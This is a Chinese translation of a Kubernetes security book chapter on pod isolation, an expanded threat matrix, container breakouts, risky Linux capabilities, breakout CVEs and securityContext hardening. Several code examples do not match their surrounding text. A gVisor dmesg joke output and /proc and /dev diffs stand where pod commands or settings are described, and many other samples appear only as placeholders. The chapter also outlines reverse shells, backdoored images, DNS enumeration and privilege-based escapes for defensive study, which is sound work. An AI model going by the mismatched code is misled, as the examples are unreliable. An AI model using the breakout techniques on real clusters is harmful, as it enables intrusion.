
当内核检测到网络命名空间为空时,它将销毁该命名空间,删除分配给其中网络适配器的任何 IP。对于只有一个容器来保存网络命名空间 IP 分配的 pod,一个崩溃并重新启动的容器将创建一个新的网络命名空间,因此会分配一个新的 IP。这种 IP 的快速更换会为您的运营商和安全监控带来不必要的噪音。Kubernetes 使用所谓的暂停容器(另请参阅“Pod 内部网络”),以保持 pod 的共享网络命名空间在租户容器发生崩溃循环时保持打开状态。从工作节点内部看,每个 pod 中的伴随暂停容器如下所示:

user@host:~ [0]$ diff -u \
  <(docker run -t sublimino/hack ls -1 /proc/1) \
  <(docker run -t --runtime=runsc sublimino/hack ls -1 /proc/1)

-arch_status
-attr
-autogroup
 auxv
-cgroup
-clear_refs
 cmdline
 comm
-coredump_filter
-cpu_resctrl_groups
-cpuset
 cwd
 environ
 exe
@@ -16,39 +8,17 @@
 fdinfo
 gid_map
 io
-limits
-loginuid
-map_files
 maps
 mem
 mountinfo
 mounts
-mountstats
 net
 ns
-numa_maps
-oom_adj
 oom_score
 oom_score_adj
-pagemap
-patch_state
-personality
-projid_map
-root
-sched
-schedstat
-sessionid
-setgroups
 smaps
-smaps_rollup
-stack
 stat
 statm
 status
-syscall
 task
-timens_offsets
-timers
-timerslack_ns
 uid_map
-wchan

这个暂停容器在 Kubernetes API 中是不可见的,但在工作节点上的容器运行时可见。

注意

CRI-O 通过固定命名空间来摆脱暂停容器(除非绝对必要),如 KubeCon 演讲中所述 “CRI-O: Look Ma, No Pause”

共享网络和存储

一个 pod 中的一组容器共享一个网络命名空间,因此 pod 中的所有容器端口都对每个容器的相同网络适配器可用。这使得 pod 中一个容器中的攻击者有机会攻击任何网络接口上可用的私有套接字,包括环回适配器 127.0.0.1

提示

我们将在第五章和第六章中更详细地讨论这些概念。

每个容器都在其容器镜像的根文件系统中运行,这些根文件系统在容器之间不共享。卷必须挂载到 pod 配置中的每个容器中,但如果配置为这样,一个 pod 的卷可能对所有容器可用,就像你在图 2-4 中看到的那样。

图 2-8 显示了容器工作负载内部的一些路径,攻击者可能感兴趣(请注意 usertime 命名空间目前未被使用)。

嵌套 Pod 命名空间

图 2-8. 包裹 pod 中容器的命名空间(灵感来自 Ian Lewis
注意

用户命名空间是最终的内核安全前沿,通常不启用,因为在历史上很可能是内核攻击的入口:Linux 中的一切都是文件,用户命名空间的实现横跨整个内核,使其比其他命名空间更难以保护。

这里列出的特殊虚拟文件系统都是如果配置错误并在容器内可访问,则可能导致突破的所有可能路径:/dev 可能会访问主机的设备,/proc 可能会泄漏进程信息,或者 /sys 支持启动新容器等功能。

最糟糕的情况是什么?

作为企业的安全首席信息安全官(CISO),您应负责组织的安全工作。作为 CISO,您应考虑最坏的情况,确保您拥有适当的防御措施和缓解措施。攻击树有助于建模这些负面结果,而您可以使用的数据源之一就是威胁矩阵,如 图 2-9 所示。

微软 Kubernetes 威胁矩阵

图 2-9. 微软 Kubernetes 威胁矩阵;来源:“为 Kubernetes 更新的威胁矩阵保护容器化环境”

但是还有一些缺失的威胁,社区已经添加了一些(感谢 Alcide,Brad GeesamanIan Coldwater),如 表 2-1 所示。

表 2-1. 我们增强的微软 Kubernetes 威胁矩阵

初始访问(入侵 Shell 预备工作 - 部分 1) 执行(入侵 Shell 执行 - 部分 2) 持久性(保持 Shell) 特权升级(容器突破) 防御逃避(假设没有 IDS) 凭据访问(重要凭据) 发现(枚举可能的枢纽) 横向移动(枢纽) 命令和控制(C2 方法) 影响(危险)
使用云凭据:服务账号密钥,冒充 执行到容器中(绕过准入控制策略) 后门容器(向本地或容器注册表镜像添加反向 shell) 特权容器(合法升级到主机) 清除容器日志(主机突破后覆盖轨迹) 列出 K8s 机密 列出 K8s API 服务器(nmap,curl) 访问云资源(工作负载标识和云集成) 动态解析(DNS 隧道) 数据销毁(数据存储,文件,NAS,勒索软件…)
注册表中的受损镜像(供应链未修补或恶意) 容器内的 BASH/CMD(植入物或特洛伊木马,RCE/反向 shell,恶意软件,C2,DNS 隧道) 可写主机路径挂载(主机挂载突破) 群集管理员角色绑定(未经测试的 RBAC) 删除 K8s 事件(主机突破后覆盖轨迹) 挂载服务主体(Azure 特定) 访问 kubelet API 容器服务账户(API 服务器) 应用协议(L7 协议,TLS,…) 资源劫持(加密货币挖矿,恶意软件 C2/分发,开放中继,僵尸网络成员)
应用程序漏洞(供应链未修补或恶意) 启动新容器(带有恶意负载:持久性,枚举,观察,升级) K8s CronJob(定时反向 shell) 访问云资源(通过工作负载标识元数据攻击) 从代理服务器连接(覆盖源 IP,外部到集群) 应用程序配置文件中的应用程序凭证(密钥材料) 访问 K8s 仪表板(UI 需要服务账户凭据) 群集内部网络(攻击相邻的 Pod 或系统) 僵尸网络(k3d 或传统) 应用程序 DoS
kubeconfig file (exfiltrated, or uploaded to the wrong place) Application exploit (RCE) Static pods (reverse shell, shadow API server to read audit-log-only headers) Pod hostPath mount (logs to container breakout) Pod/container name similarity (visual evasion, CronJob attack) Access container service account (RBAC lateral jumps) Network mapping (nmap, curl) Access container service account (RBAC lateral jumps) Node scheduling DoS
Compromise user endpoint (2FA and federating auth mitigate) SSH server inside container (bad practice) Injected sidecar containers (malicious mutating webhook) Node to cluster escalation (stolen credentials, node label rebinding attack) Dynamic resolution (DNS) (DNS tunneling/exfiltration) Compromise admission controllers Instance metadata API (workload identity) Host writable volume mounts Service discovery DoS
K8s API server vulnerability (needs CVE and unpatched API server) Container lifecycle hooks (postStart and preStop events in pod YAML) Rewrite container lifecycle hooks (postStart and preStop events in pod YAML) Control plane to cloud escalation (keys in Secrets, cloud or control plane credentials) Shadow admission control or API server Compromise K8s Operator (sensitive RBAC) Access K8s dashboard PII or IP exfiltration (cluster or cloud datastores, local accounts)
Compromised host (credentials leak/stuffing, unpatched services, supply chain compromise) Rewrite liveness probes (exec into and reverse shell in container) Compromise admission controller (reconfigure and bypass to allow blocked image with flag) Access host filesystem (host mounts) Access tiller endpoint (Helm v3 negates this) Container pull rate limit DoS (container registry)
Compromised etcd (missing auth) Shadow admission control or API server (privileged RBAC, reverse shell) Compromise K8s Operator (compromise flux and read any Secrets) Access K8s Operator SOC/SIEM DoS (event/audit/log rate limit)
K3d botnet (secondary cluster running on compromised nodes) Container breakout (kernel or runtime vulnerability e.g., DirtyCOW, /proc/self/exe, eBPF verifier bugs, Netfilter)

随着我们在本书中的进展,我们将详细探讨这些威胁。但是第一个威胁,也是我们系统隔离模型的最大风险,是攻击者从容器本身越界攻击出来。

容器越界攻击

集群管理员最大的恐惧是容器越界攻击;即容器内的用户或进程可以在容器执行环境之外运行代码。

注意

严格来说,容器越界应该利用内核,攻击容器应该受到限制的代码。在作者看来,任何规避隔离机制的行为都会破坏容器维护者或运营者与其内部进程(们)的约定。这意味着它应被视为对主机系统及其数据安全同样构成威胁,因此我们将容器越界定义为包括任何逃避隔离的行为。

容器越界可能以多种方式发生:

  • 包括对内核、网络或存储堆栈的利用,或者容器运行时。

  • 例如攻击暴露的本地、云或网络服务,或升级权限并滥用发现或继承的凭据

  • 允许攻击者更容易或合法地利用或适应的错误配置(这是最有可能的方式)

如果运行的进程被非特权用户(即没有根权限能力的用户)拥有,许多越界是不可能的。在这种情况下,进程或用户必须在尝试越界之前通过容器内的本地特权升级获取能力。

一旦实现了这一点,越界可能从在配置不佳的容器中运行的敌对的根用户进程开始。在容器内获取根用户的能力是大多数逃逸的先兆:没有根权限(有时没有CAP_SYS_ADMIN),许多越界都会无效。

提示

securityContext和 LSM 配置对于限制来自零日漏洞或供应链攻击的意外活动至关重要(库代码在运行时自动加载到容器中并自动利用)。

您可以在工作负载的安全上下文中定义活动用户、组和文件系统组(设置在挂载卷上以便可读性,通过fsGroupChangePolicy进行限制),并通过准入控制强制执行,详见第八章,正如此文档示例所示:

user@host:~ [0]$ diff -u \
  <(docker run -t sublimino/hack ls -1p /dev) \
  <(docker run -t --runtime=runsc sublimino/hack ls -1p /dev)

-console
-core
 fd
 full
 mqueue/
+net/
 null
 ptmx
 pts/

在容器越界场景中,如果用户在容器内部具有根权限或挂载能力(默认由CAP_SYS_ADMIN授予,除非被禁用),他们可以与挂载到容器中的虚拟和物理磁盘进行交互。如果容器是特权的(其中包括禁用在/dev中的内核路径掩码),它可以看到并挂载主机文件系统:

$ docker run --runtime=runsc sublimino/hack dmesg
[   0.000000] Starting gVisor...
[   0.340005] Feeding the init monster...
[   0.539162] Committing treasure map to memory...
[   0.688276] Searching for socket adapter...
[   0.759369] Checking naughty and nice process list...
[   0.901809] Rewriting operating system in Javascript...
[   1.384894] Daemonizing children...
[   1.439736] Granting licence to kill(2)...
[   1.794506] Creating process schedule...
[   1.917512] Creating bureaucratic processes...
[   2.083647] Checking naughty and nice process list...
[   2.131183] Ready!

我们将探讨nsenter特权容器的越界,通过进入主机的命名空间来更加优雅地逃逸,在第六章中。

尽管通过避免根用户和特权模式并通过准入控制来强制执行可以轻松防止此类攻击,但如果配置错误,这表明容器安全边界有多脆弱。

警告

控制容器化进程的攻击者可能控制网络、部分或全部存储,并可能控制 pod 中的其他容器。通常情况下,容器假设 pod 中的其他容器是友好的,因为它们共享资源,我们可以将 pod 视为进程内的信任边界。但是,初始化容器是个例外:它们在主容器启动之前完成并关闭,并且因为它们在隔离环境中运行,可能具有更高的安全敏感性。

容器和 pod 隔离模型依赖于 Linux 内核和容器运行时,通常情况下,当它们没有配置错误时是很强大的。容器越狱更多是由于不安全的配置而不是内核利用,尽管零日内核漏洞不可避免地对没有正确配置 LSM(如 SELinux 和 AppArmor)的 Linux 系统造成重大破坏。

注意

在 “为了弹性架构化容器化应用程序” 中,我们探讨了 Linux DirtyCOW 漏洞如何用于打破不安全配置的容器。

容器越狱很少是一帆风顺的,任何新的漏洞通常会在披露后不久修复。仅有偶尔的内核漏洞会导致可利用的容器越狱,而利用 LSM 可以加固单独的容器化进程,使防御者能够严格限制高风险的面向网络的进程;这可能包括以下一个或多个:

  • 发现运行时或内核的零日漏洞

  • 利用过多权限并利用合法命令进行逃逸

  • 避开配置错误的内核安全机制

  • 检查其他进程或文件系统以寻找备用逃逸路径

  • 捕获网络流量以获取凭证

  • 攻击底层编排器或云环境

警告

底层物理硬件中的漏洞通常无法在容器中进行防御。例如,SpectreMeltdown(CPU 的 speculative execution 攻击)、rowhammerTRRespassSPOILER(DRAM 内存攻击)可以绕过容器隔离机制,因为它们无法截取 CPU 处理的整个指令流。虚拟化程序也面临同样的保护不足。

发现新的内核攻击是困难的。错误配置的安全设置、利用已发布的 CVE 和社会工程攻击更容易。但是,了解潜在威胁的范围以决定自己的风险承受能力是很重要的。

我们将逐步进行安全特性探索,看看您的系统可能受到攻击的各种方式,详见附录 A。

有关 Kubernetes 项目如何管理 CVE 的更多信息,请参阅 Anne Bertucio 和 CJ Cullen 的博文,“探索容器安全:开源 Kubernetes 中的漏洞管理”

Pod 配置和威胁

我们已经总体讨论了 Pod 的各个部分,因此让我们深入了解 Pod 规范以指出任何容易出错或潜在问题。

警告

为了保护 Pod 或容器,容器运行时应最小化地安全;也就是说,不应托管到未经身份验证的连接(例如 Docker 的 /var/run/docker.socktcp://127.0.0.1:2375),因为它可能导致主机接管

作为示例,我们使用了来自GoogleCloudPlatform/microservices-demo 应用程序frontend Pod,并使用以下命令进行部署:

$ time docker run --runtime=runsc sublimino/hack dmesg
[   0.000000] Starting gVisor...
[   0.599179] Mounting deweydecimalfs...
[   0.764608] Consulting tar man page...
[   0.821558] Verifying that no non-zero bytes made their way into /dev/zero...
[   0.892079] Synthesizing system calls...
[   1.381226] Preparing for the zombie uprising...
[   1.521717] Adversarially training Redcode AI...
[   1.717601] Conjuring /dev/null black hole...
[   2.161358] Accelerating teletypewriter to 9600 baud...
[   2.423051] Checking naughty and nice process list...
[   2.437441] Generating random numbers by fair dice roll...
[   2.855270] Ready!

real    0m0.852s
user    0m0.021s
sys     0m0.016s

我们已更新并添加了一些额外的配置,用于演示目的,并将在以下部分中逐步进行介绍。

Pod 头部

Pod 头部是我们所知并且喜爱的所有 Kubernetes 资源的标准头部,定义了此 YAML 定义的实体类型及其版本:

apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor  # The name the RuntimeClass will be referenced by
  # RuntimeClass is a non-namespaced resource
handler: gvisor  # The name of the corresponding CRI configuration

元数据和注解可能包含诸如 IP 地址或安全提示(在此案例中用于 Istio),尽管这只有在攻击者具有只读访问权限时才有用:

apiVersion: v1
kind: Pod
metadata:
  name: my-gvisor-pod
spec:
  runtimeClassName: gvisor
  # ...

它还历史性地持有了 seccompAppArmorSELinux 策略:

[PRE7]

我们将看看如何在“运行时策略”中使用这些注解。

注意

经过多年的发展,Kubernetes 中的seccomp在 v1.19 版本中进展到了一般可用性

这将从注解更改为 securityContext 条目的语法变更

[PRE8]

Kubernetes 安全配置文件操作器(SPO)可以在您的节点上安装seccomp配置文件(这是容器运行时使用的先决条件),并使用oci-seccomp-bpf-hook从集群中的工作负载记录新的配置文件。

SPO 还通过selinuxd支持 SELinux,并在此博客文章中提供了大量细节。

AppArmor 仍处于测试阶段,但一旦升级到 GA,注解将被像 seccomp 这样的一流字段替代。

让我们转向 Pod 规范的一个客户端不可写部分,但包含一些重要的提示。

反向正常运行时间

当您从 API 服务器转储一个 Pod 规范(例如,使用 kubectl get -o yaml)时,它包括 Pod 的启动时间:

[PRE9]

运行时间超过一两周的 Pod 可能存在更高风险的未打补丁漏洞。如果敏感工作负载运行超过 30 天,则通过 CI/CD 重新构建以考虑库或操作系统补丁将更安全。

离线扫描现有容器镜像中的 CVE 可用于通知重建。最安全的方法是结合两者:定期“重新铺设”(即,重新构建和重新部署容器),以及在检测到 CVE 时通过 CI/CD 管道进行重建。

标签

Kubernetes 中的标签不经过验证或强类型化;它们是元数据。但标签可被服务和控制器通过选择器进行定位,还用于安全功能,如网络策略。这使得它们对安全性非常敏感,并且容易因配置错误而受到影响:

[PRE10]

标签中的拼写错误意味着它们与预期的选择器不匹配,因此可能会无意中引入安全问题,例如:

  • 排除预期网络策略或准入控制策略

  • 服务目标选择器导致意外的路由

  • 不准确地被操作员或可观察性工具定位的流氓 Pod

管理字段

管理字段在 v1.18 中引入,并支持 server-side apply。它们复制了 Pod 规范中其他地方的信息,但对我们来说并不太感兴趣,因为我们可以从 API 服务器中读取整个规范。它们看起来像这样:

[PRE11]

Pod 的命名空间和所有者

我们通过 API 请求来获取 Pod 时,已经知道 Pod 的名称和命名空间。

如果我们使用 --all-namespaces 来返回所有 Pod 的配置,这会显示出命名空间:

[PRE12]

在 Pod 内部,可以通过 /etc/resolv.conf 中的 DNS 解析器配置推断出当前命名空间(例如在本例中为 secret-namespace):

[PRE13]

其他不够健壮的选项包括挂载的服务账户(假设它与同一命名空间中,但也可能不在其中),或者集群的 DNS 解析器(如果您可以列举或抓取它)。

环境变量

现在我们开始进入有趣的配置领域。我们想要查看 Pod 中的环境变量,部分原因是它们可能会泄露秘密信息(本应作为文件挂载),另一部分原因是它们可能会列出命名空间中可用的其他服务,从而暗示其他网络路由和可能被攻击的应用程序。

警告

在部署和 Pod YAML 中设置的密码对部署 YAML 的操作员、运行时进程以及任何其他能够读取其环境的进程可见,也对能够从 Kubernetes 或 kubelet API 中读取的任何人可见。

在这里我们可以看到容器的 PORT(这是一种良好的实践,并且在运行在 Knative、Google Cloud Run 和其他一些系统中的应用程序中是必需的),其协调服务的 DNS 名称和端口,一些设置不当的数据库配置和凭据,以及最后一个合理引用的 Secret 文件:

[PRE14]

这没那么糟糕,对吧?让我们继续讨论容器镜像。

容器镜像

容器镜像的文件系统至关重要,因为它可能存在漏洞,助长特权升级。如果不定期打补丁,Captain Hashjack 可能会从公共注册表中获取相同的镜像,并扫描可能被利用的漏洞。知道哪些二进制文件和文件可用也能够“离线”进行攻击计划,因此对手在攻击活动时更加隐蔽和有针对性。

提示

OCI 注册表规范允许任意图像层存储:这是一个两步过程,第一步上传清单,第二步上传 blob。如果攻击者只执行第二步,则可以获得免费的任意 blob 存储。

大多数注册表不会自动对此进行索引(Harbour 是个例外),因此它们将永久存储“孤立”的层,直到手动垃圾回收为止,这些层可能会被隐藏起来,无法看到。

在这里,我们看到一个通过标签引用的镜像,这意味着我们无法确定容器镜像的实际 SHA256 散列摘要。由于它没有使用摘要引用,容器标签可能已在部署后更新:

[PRE15]

可以使用 SHA256 镜像摘要而不是镜像标签来拉取镜像,以其内容地址引用:

[PRE16]

应始终通过 SHA256 引用镜像或使用签名标签;否则,由于容器启动后可能已更新注册表中的标签,无法知道运行的是什么。可以通过检查运行中容器的镜像 SHA256 来验证正在运行的内容。

可以在 Kubernetes 的 image: 键中同时指定标签和 SHA256 摘要,此时标签将被忽略,镜像将通过摘要检索。这会导致包含标签和 SHA256 的可能令人困惑的镜像定义被检索为与 SHA 匹配的镜像而不是标签:

[PRE17]

1

容器名称,以及被忽略的“latest”标签

2

镜像 SHA256,覆盖了前一行中定义的“latest”标签

被检索为与标签不同而匹配 SHA 的镜像。

如果攻击者可以影响本地 kubelet 镜像缓存,他们可以向镜像添加恶意代码并在工作节点上重新标记它(注意:要再次运行此操作,请勿忘记删除 cidfile):

[PRE18]

1

加载恶意的 shell 后门并覆盖容器的默认命令(/bin/sh)。

2

提交更改后的容器使用相同的方法。

尽管本地注册表缓存的妥协可能导致此类攻击,但容器缓存访问可能是通过对节点进行根权访问而来,因此这可能是您最不用担心的问题之一。

注意

在高度动态的“从零自动扩展”环境中,如 Knative,使用 Always 的镜像拉取策略会存在性能缺陷。当启动时间至关重要时,潜在的多秒级 imagePullPolicy 延迟是不可接受的,必须使用镜像摘要。

对本地镜像缓存的攻击可以通过 Always 的镜像拉取策略来减轻,这将确保本地标签与从中拉取的注册表中定义的标签匹配。这很重要,您应始终注意此设置:

[PRE19]

容器镜像名称或注册表名称的拼写错误,如果攻击者通过“typosquatting”方式制作恶意容器,则会部署意外的代码。

当只有一个字符更改时,这可能很难检测,例如 controlplan/hack 而不是 controlplane/hack。像 Notary 这样的工具通过检查来自受信任方的有效签名来防止这种情况。如果 TLS 拦截中间件框拦截并重写图像标记,则可能部署伪造的图像。

再次,TUF 和 Notary 侧信道签名可以缓解这个问题,其他容器签名方法如 cosign 也可以,如 第四章 中讨论的那样。

Pod 探针

您的活跃探针应根据应用程序的性能特征进行调整,并用于在生产环境的风云变幻中保持其活跃。探针通知 Kubernetes 应用程序是否无法实现其指定目的,可能是通过崩溃或外部系统故障。

Kubernetes 审计发现 TOB-K8S-024 显示探针可以被具有调度 pod 能力的攻击者所破坏:即使不更改 pod 的 commandargs,他们也有权进行网络请求并在目标容器内执行命令。这使得攻击者可以通过在主机网络接口上执行探针来发现本地网络,而不是从 pod 内部执行。

host 头可以用于枚举本地网络。概念验证漏洞利用如下:

[PRE20]

CPU 和内存限制和请求

资源限制和请求管理 pod 的 cgroups,防止在 kubelet 主机上耗尽有限的内存和计算资源,并防止 fork 炸弹和失控进程。网络带宽限制不在 pod 规范中支持,但可能会被您的 CNI 实现支持。

cgroups 是一个有用的资源约束。cgroups v2 提供更多保护,但 cgroups v1 不是安全边界,很容易被绕过

限制限制了恶意容器可能执行的加密挖矿或资源耗尽。它还阻止主机被糟糕的部署压倒。对于试图进一步利用系统的对手,除非他们需要使用占用大量内存的攻击,它的效果有限:

[PRE21]

DNS

默认情况下,Kubernetes DNS 服务器为整个集群中的服务提供所有记录,除非每个命名空间或域单独部署,否则无法实现命名空间隔离。

提示

CoreDNS 支持策略插件,包括 OPA,用于限制对 DNS 记录的访问,并防止以下枚举攻击。

默认的 Kubernetes CoreDNS 安装泄漏有关其服务的信息,并为攻击者提供查看所有可能网络端点的视图(参见 图 2-10)。当然,由于存在网络策略,可能并非所有端点都可访问,正如我们将在 “流量流控” 中看到的那样。

DNS 枚举可以针对默认的、不受限制的 CoreDNS 安装执行。要检索集群命名空间中的所有服务(输出编辑以适应):

[PRE22]

tweet-rory-hard-dns

图 2-10. Rory McCune 对硬多租户难题的智慧

对所有服务端点和名称执行以下操作(输出编辑以适应):

[PRE23]

根据查询返回 IPv4 地址:

[PRE24]

Kubernetes API 服务器服务 IP 信息默认挂载到 pod 的环境中:

[PRE25]

响应与 API 服务器的 /version 端点匹配。

小贴士

你可以使用 此 nmap 脚本 和以下功能检测 Kubernetes API 服务器:

[PRE26]

下一个重要的运行时策略片段是安全上下文,最初由红帽引入。

Pod securityContext

此 pod 使用空的 securityContext 运行,这意味着在部署时没有准入控制器对配置进行变异,容器可以运行一个属于 root 的进程,并对其拥有所有能力:

[PRE27]

开发能力地形图涉及对内核标志的理解,Stefano Lanaro 的指南 提供了全面的概述。

不同的能力可能对系统产生特定影响,而 CAP_SYS_ADMINCAP_BPF 对攻击者尤为诱人。你应该谨慎授予的显著能力包括:

CAP_DAC_OVERRIDE, CAP_CHOWN, CAP_DAC_READ_SEARCH, CAP_FORMER, CAP_SETFCAP

绕过文件系统权限

CAP_SETUID, CAP_SETGID

成为 root 用户

CAP_NET_RAW

读取网络流量

CAP_SYS_ADMIN

文件系统挂载权限

CAP_SYS_PTRACE

所有进程的全能调试

CAP_SYS_MODULE

加载内核模块以绕过控制

CAP_PERFMON, CAP_BPF

访问深度挂钩 BPF 系统

这些是许多容器突破的先兆。正如 Brad Geesaman 在 图 2-11 中指出的,进程想要自由!攻击者会利用 pod 中任何可用于逃逸的东西。

haku 0212

图 2-11. Brad Geesaman 对具有感染力的容器自由呼声
注意

CAP_NET_RAWrunc 中默认启用,并启用 UDP(绕过像 Istio 这样的 TCP 服务网格)、ICMP 消息和 ARP 毒化攻击。Aqua 发现 DNS 毒化攻击 对 Kubernetes DNS 造成影响,而 net.ipv4.ping_group_range sysctl 标志意味着 在需要 ICMP 时应将其丢弃

这些是一些需要 root 和/或 CAP_SYS_ADMINCAP_NET_RAWCAP_BPFCAP_SYS_MODULE 才能运行的容器突破方式:

  • 子路径卷挂载遍历和 /proc/self/exe(详见第六章)。

  • CVE-2016-5195 是一个只读内存写时复制竞争条件,又称 DirtyCow,并在 “Architecting Containerized Apps for Resilience” 中有详细描述。

  • CVE-2020-14386 是一个无特权内存损坏漏洞,需要 CAP_NET_RAW

  • CVE-2021-30465runc 挂载目的地符号链接交换以在 rootfs 外挂载,受非特权用户使用限制。

  • CVE-2021-22555Netfilter 堆外写入越界漏洞,需要 CAP_NET_RAW

  • CVE-2021-31440eBPF 对 Linux 内核的越界访问,需要 root 或 CAP_BPFCAP_SYS_MODULE

  • @andreyknvl 内核漏洞和 core_pattern 转义

当没有爆发时,仍然需要根权限来执行其他一些攻击,例如 CVE-2020-10749,这是 Kubernetes CNI 插件 IPv6 通过恶意路由广告进行中间人攻击。

Tip

出色的 “A Compendium of Container Escapes” 详细探讨了其中一些攻击。

我们在 “Runtime Policies” 中列出了用于 Pod 的 securityContext 的选项,以防范敌对容器。

Pod Service Accounts

Service Accounts 是 JSON Web Tokens (JWTs),用于 Pod 对 API 服务器的身份验证和授权。默认服务账户不应该被赋予任何权限,并且默认情况下没有授权。

Pod 的 serviceAccount 配置定义其与 API 服务器的访问权限;详见 “Service accounts”。该服务账户被挂载到所有 Pod 副本中,并共享单一的“工作负载身份”:

[PRE28]

通过这种方式分离责任可减少 Pod 受损的影响范围:限制入侵后的攻击者活动是策略控制的主要目标。

Scheduler and Tolerations

调度器负责将 Pod 工作负载分配到节点。它的工作如下:

[PRE29]

敌对调度器可能会从集群中窃取数据或工作负载,但需要将其添加到控制平面以实现对集群的攻击。更容易的是调度一个特权容器并控制平面的 kubelets

Pod Volume Definitions

在这里,我们使用一个绑定的服务账户令牌,在 YAML 中定义为投影的服务账户令牌(而不是标准服务账户)。kubelet 通过定期轮换(配置为每 3600 秒或一小时)保护此令牌,所以如果被窃取,它只能被限制使用。持久化攻击者仍能够在令牌轮换后使用此值,所以此仅在攻击完成后保护服务账户:

[PRE30]

卷是攻击者潜在数据的丰富来源,您应确保像自由访问控制(DAC,例如文件和权限)这样的标准安全实践得到正确配置。

提示

Downward API 将 Kubernetes 级别的值反映到 pod 中的容器中,有助于公开诸如 pod 名称、命名空间、UID、标签和注释等内容。其功能在文档中列出

容器只是 Linux,并不会保护其工作负载免受配置错误的影响。

Pod 网络状态

关于 pod 的网络信息对于调试没有服务的容器或不响应正常的容器非常有用,但攻击者可能利用这些信息直接连接到 pod,而无需扫描网络:

[PRE31]

正确使用 securityContext

如果未配置或配置过于宽松,那么 pod 更有可能受到攻击。securityContext 是防止容器突破的最有效工具。

在成功获得运行中 pod 的 RCE 后,securityContext 是您可用的第一道防御配置。它可以访问可以单独设置的内核开关。还可以配置其他 Linux 安全模块以防止敌意应用程序利用您的系统。

Docker 的 containerd 具有默认的 seccomp 配置文件,通过阻止内核中的系统调用阻止了一些针对容器运行时的零日攻击。从 Kubernetes v1.22 开始,您应通过 --seccomp-default kubelet 标志默认启用此功能。在某些情况下,工作负载可能无法使用默认配置文件:可观察性或安全工具可能需要低级别的内核访问。这些工作负载应编写自定义 seccomp 配置文件(而不是采用运行它们 Unconfined 的方法,该方法允许任何系统调用)。

下面是一个从主机文件系统中 /var/lib/kubelet/seccomp 加载的精细化 seccomp 配置文件的示例:

[PRE32]

seccomp 用于系统调用,但 SELinux 和 AppArmor 也可以在用户空间监控和执行策略,保护文件、目录和设备。

SELinux 配置能够阻止大多数容器突破(除了基于标签的文件系统和进程访问方法),因为它不允许容器写入除了自己的文件系统之外的任何位置,也不允许读取其他目录,并且在 OpenShift 和 Red Hat Linux 上启用。

AppArmor 可以类似地监控和防止 Debian 派生的 Linux 中的许多攻击。如果启用了 AppArmor,则 cat /sys/module/apparmor/parameters/enabled 返回 Y,并且可以在 pod 定义中使用:

[PRE33]

Liz Rice 曾称privileged标志是“计算历史上最危险的标志”,但为什么 privileged 容器如此危险?因为它们使进程命名空间保持启用,给人虚假的容器化错觉,但实际上禁用了所有安全功能。

“Privileged”是特定的securityContext配置:除了进程命名空间外,所有功能都被禁用,虚拟文件系统被取消掩码,LSM 被禁用,并且授予所有功能。

以非 root 用户运行,并将AllowPrivilegeEscalation设置为false可有效防止许多特权升级:

[PRE34]

安全上下文的粒度意味着必须测试配置的每个属性,以确保它没有设置:作为配置管理者通过配置入场控制和测试 YAML,或作为运行时的攻击者使用动态测试(或amicontained)。

提示

我们将在本章后面探讨如何检测容器内的特权。

与主机共享命名空间还会降低容器的隔离性,并使其面临更大的潜在风险。任何挂载的文件系统实际上都会增加挂载命名空间。

确保您的 Pod 的securityContext正确,并且您的系统将更安全地抵御已知攻击。

使用 Kubesec 增强 securityContext

Kubesec是一款验证 Kubernetes 资源安全性的简单工具。

它为资源返回一个风险评分,并建议如何加强securityContext(请注意,我们编辑了输出以适应):

[PRE35]

Kubesec.io记录了对您的 securityContext 进行的实际更改,我们将在此文档中记录其中一些。

提示

Shopify 出色的kubeaudit为集群中的所有资源提供了类似的功能。

强化的 securityContext

NSA 发布了《“Kubernetes 硬化指南”》(https://oreil.ly/2riDP),建议使用一套加固的securityContext标准。建议扫描漏洞和配置错误,最小权限,良好的 RBAC 和 IAM,网络防火墙和加密,并“定期审查所有 Kubernetes 设置,并使用漏洞扫描来确保适当地考虑风险并应用安全补丁。”

在 Pod 中为容器分配最少权限是securityContext的责任(详细信息请参见表 2-2)。请注意,讨论的 PodSecurityPolicy 资源映射到securityContext中可用的配置标志。

表 2-2 securityContext 字段

字段名称 用法 建议
privileged 控制是否可以运行特权容器。 设置为false
hostPIDhostIPC 控制容器是否可以共享主机进程命名空间。 设置为false
hostNetwork 控制容器是否可以使用主机网络。 设置为false
allowedHostPaths 限制容器访问主机文件系统的特定路径。 使用一个标记为只读的“虚拟”路径名(例如 /foo)。如果省略此字段,则不会对容器施加任何准入限制。
readOnlyRootFilesystem 要求使用只读根文件系统。 在可能的情况下设置为 true
runAsUser, runAsGroup, supplementalGroups, fsGroup 控制容器应用程序是否可以以 root 权限或以 root 组成员身份运行。 runAsUser 设置为 MustRunAsNonRoot。将 runAsGroup 设置为非零值。将 supplementalGroups 设置为非零值。将 fsGroup 设置为非零值。
allowPrivilegeEscalation 限制提升至 root 权限。 设置为 false。这一措施是有效执行 runAsUser: MustRunAsNonRoot 设置的必要条件。
SELinux 设置容器的 SELinux 上下文。 如果环境支持 SELinux,请考虑添加 SELinux 标签以进一步增强容器的安全性。
AppArmor 注解 设置容器使用的 AppArmor 配置文件。 在可能的情况下,通过使用 AppArmor 来限制容器化应用程序的利用。
seccomp 注解 设置用于沙箱容器的 seccomp 配置文件。 在可能的情况下,使用 seccomp 审计配置文件识别运行应用程序所需的系统调用;然后启用 seccomp 配置文件以阻止所有其他系统调用。

让我们使用 kubesec 静态分析工具详细探讨这些内容,并且它用于查询您的 Kubernetes 资源的选择器。

containers[] .securityContext .privileged

一个运行特权容器可能会对您的安全团队造成不良影响。特权容器禁用了除 process 外的所有命名空间和 LSMs,授予所有权限,通过 /dev 暴露主机设备,并且通常默认情况下是不安全的。这是攻击者在新受损 pod 中首先查找的内容。

.spec .hostPID

hostPID 允许通过 /proc 文件系统从容器遍历到主机,该文件系统通过符号链接其他进程的根文件系统。要从主机的进程命名空间中读取,还需要 privileged

[PRE36]

1

启动一个特权容器并共享主机进程命名空间。

2

作为容器中的 root 用户,检查容器的操作系统版本。

3

验证我们是否在主机的进程命名空间中(我们可以看到 PID 1 和内核辅助进程)。

4

检查容器内部 /proc 文件系统中的宿主分发版本。这是可能的,因为 PID 命名空间与主机共享。

注意

如果没有 privileged,则容器中的 root 无法访问宿主的进程命名空间:

[PRE37]

在这种情况下,攻击者受其 UID 限制,可以搜索文件系统或内存,寻找关键材料或敏感数据。

.spec .hostNetwork

